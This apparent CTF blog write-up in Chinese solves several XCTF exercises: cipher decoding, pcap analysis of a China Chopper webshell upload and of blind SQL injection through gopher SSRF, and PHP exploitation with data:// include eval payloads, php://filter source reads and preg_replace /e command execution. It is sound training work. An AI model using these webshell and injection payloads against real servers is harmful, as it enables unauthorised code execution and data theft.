攻防世界的一些題目

山西小嫦娥發表於2024-08-04

攻防世界的一些題目

唉,一些題目做的還是磕磕絆絆的,好菜啊,得加把勁了,馬上要省賽了。。。

misc

如來十三掌

附件是一個docx,開啟之後

夜哆悉諳多苦奢陀奢諦冥神哆盧穆皤三侄三即諸諳即冥迦冥隸數顛耶迦奢若吉怯陀諳怖奢智侄諸若奢數菩奢集遠俱老竟寫明奢若梵等盧皤豆蒙密離怯婆皤礙他哆提哆多缽以南哆心曰姪罰蒙吶神。舍切真怯勝吶得俱沙罰娑是怯遠得吶數罰輸哆遠薩得槃漫夢盧皤亦醯吶娑皤瑟輸諳尼摩罰薩冥大倒參夢侄阿心罰等奢大度地冥殿皤沙蘇輸奢恐豆侄得罰提哆伽諳沙楞缽三死怯摩大蘇者數一遮
與佛倫禪解碼後:
MzkuM3gvMUAwnzuvn3cgozMlMTuvqzAenJchMUAeqzWenzEmLJW9
base64解碼:
flag{bdscjhbkzmnfrdhbvckijndskvbkjdsab}

神奇的Modbus

附件是一個流量包

image-20240803202620087

直接搜尋搜到了flag

flag{Easy_Mdbus}

功夫再高也怕菜刀

流量,用binwalk分離出一個加密後的壓縮包,有密碼,爆破了半天,爆破不出來。再回去看流量包。

image-20240804122110392

發現有一個請求特別大,跟上看看。

截選部分放上:

POST /upload/1.php HTTP/1.1
User-Agent: Java/1.8.0_151
Host: 192.168.43.83
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 204999

aa=@eval.(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik%2FIjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D&z1=RDpcd2FtcDY0XHd3d1x1cGxvYWRcNjY2Ni5qcGc%3D&z2=FFD8FFE000104A46494600010101007800780000FFDB00430001010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101FFDB00430101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101FFC0001108013901E203012200021101031101FFC4001F0000010501010101010100000000000000000102030405060708090A0BFFC400B5100002010303020403050504040000017D01020300041105122131410613516107227114328191A1082342B1C11552D1F02433627282090A161718191A25262728292A3435363738393A434445464748494A535455565758595A636465666768696A737475767778797A838485868788898A92939495969798999AA2A3A4A5A6A7A8A9AAB2B3B4B5B6B7B8B9BAC2C3C4C5C6C7C8C9CAD2D3D4D5D6D7D8D9DAE1E2E3E4E5E6E7E8E9EAF1F2F3F4F5F6F7F8F9FAFFC4001F0100030101010101010101010000000000000102030405060708090A0BFFC400B51100020102040403040705040400010277000102031104......

可以看到有兩個引數。

z1=RDpcd2FtcDY0XHd3d1x1cGxvYWRcNjY2Ni5qcGc

base解碼:D:\wamp64\www\upload\6666.jpg

z2=圖片的hex碼

轉圖片:

image-20240804124307701

Th1s_1s_p4sswd_!!!

這個應該就是壓縮包的解壓密碼了,拿到flag:flag{3OpWdJ-JP6FzK-koCMAK-VkfWBq-75Un2z}

流量流量

又是一道流量題

sql注入的流量

匯出http包的介面可以看到所有的url,可以看到應該是在盲注

image-20240804131028361

隨便解碼一條:

GET /index.php?url=gopher://127.0.0.1:80/_POST /admin.php HTTP/1.1
Host: localhost:80
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

id=1) and if((ascii(substr((select flag from flag),8,1))='119'),sleep(3),0) --  HTTP/1.1

代表在嘗試第8位是否是w

http and frame.time_delta > 3

這個命令用來篩選時間大於3s的http包。

不會編寫程式碼,只能一條一條複製出來解碼

flag{1qwy2781}

web

Web_php_include

檔案包含

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

解:

?page=data://text/plain,<?=eval($_POST[1]);?>
post:1=system("tac fl4gisisish3r3.php");

image-20240804121116394

題目提示看cookie

image-20240803210748143

提示看響應包,找到flag

image-20240803210914159

bibibi

掃目錄掃到了

url/robots.txt

User-agent: *
Disallow:

Allow: /fl4gi5Here.php

image-20240804121147290

view_source

flag就藏在原始碼裡面

ics-05

隨便點點,觀察到url/?page=index111有回顯

感覺是檔案包含漏洞,用php偽協議看看index.php

url?page=php://filter/read=convert.base64-encode/resource=index.php

<?php

$page = $_GET[page];

if (isset($page)) {
	if (ctype_alnum($page)) {
	echo $page; die();
    }
    else{
        if (strpos($page, 'input') > 0) {
            die();
        }

        if (strpos($page, 'ta:text') > 0) {
            die();
        }

        if (strpos($page, 'text') > 0) {
            die();
        }

        if ($page === 'index.php') {
            die('Ok');
        }
        include($page);
        die();
}}

//方便的實現輸入輸出的功能,正在開發中的功能,只能內部人員測試
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    echo "<br >Welcome My Admin ! <br >";
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}
?>

我其實一直想用檔案包含日誌檔案做,但是沒找到日誌檔案。。。看了wp才知道怎麼做。

當我們設定X_FORWARDED_FOR==127.0.0.1的時候就可以利用上面的程式碼。

preg_replace($pattern, $replacement, $subject)

preg_replace(引數一,引數二,引數三)函式:

引數一:要搜尋的正規表示式

引數二:用於替換匹配部分的字元

引數三:要被進行替換的原始字串

構造:?pat=/1/e&rep=system("ls");&sub=1

正規表示式中的 /e 修飾符在 PHP 中已經被廢棄,它表示在執行替換時將替換字串作為 PHP 程式碼進行評估和執行。在較早的 PHP 版本中,preg_replace() 函式支援 /e 修飾符,但由於其存在嚴重的安全隱患,自 PHP 5.5.0 版本開始被棄用,並在 PHP 7.0.0 版本中完全移除。

本題就是可以用利用正規表示式將1替換為 system("ls");,再使用正規表示式/e來執行命令,這道題要記得加X-Forwarded-FOR來繞過check。

image-20240804104849045

找到flag

image-20240804121234451